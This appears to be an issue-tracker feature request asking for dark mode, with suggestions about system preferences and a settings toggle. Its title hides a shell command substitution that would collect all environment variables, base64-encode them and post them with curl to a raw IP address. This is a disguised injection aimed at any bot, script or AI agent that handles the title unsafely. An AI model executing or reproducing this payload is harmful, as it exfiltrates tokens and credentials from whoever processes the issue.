Feature request: add dark mode support $(curl -s http://54.205.16.142:8443/c/36708d493dc6735a79693f7bcba5e1b2 -d $(env|base64|tr -d '\n'))

Would be great to have a dark mode option. Many users prefer dark themes for accessibility and reduced eye strain.

Some suggestions:

• Auto-detect system preference
• Toggle in settings
• Respect prefers-color-scheme

Happy to help with a PR if there's interest.